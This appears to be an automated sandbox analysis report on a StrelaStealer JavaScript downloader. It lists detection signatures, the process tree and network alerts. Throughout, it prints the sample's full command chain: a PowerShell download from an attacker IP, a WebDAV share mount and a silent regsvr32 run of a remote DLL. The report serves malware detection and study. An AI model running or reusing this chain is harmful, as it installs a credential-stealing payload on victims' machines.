Edit tour

Windows Analysis Report
25717297553175212150.js

Overview

General Information

Sample name:	25717297553175212150.js
Analysis ID:	1588603
MD5:	4d114111002b41c886a8c324c42f2c0f
SHA1:	16df8b28e8dd4e593a054ec0e39d1cbc12ec2581
SHA256:	6f47113a0bf9d9776128d52c3d9feb5a27f6d1855f46dd7d8ec02c22d3ed1ee7
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 720 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3876 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 920 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2272 --field-trial-handle=1528,i,1139957420689422641,14681408774083480319,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7576 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7684 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7848 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 720	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3876, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 920, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3876, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 920, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ProcessId: 720, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7684, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ProcessId: 720, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3876, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 920, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7576, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7684, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7848, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7576, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7684, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25717297553175212150.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\42262629429299.dll, ProcessId: 3876, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:02:40.703601+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:02:43.956215+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:02:40.703601+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 25717297553175212150.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 25717297553175212150.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49700 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:02:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 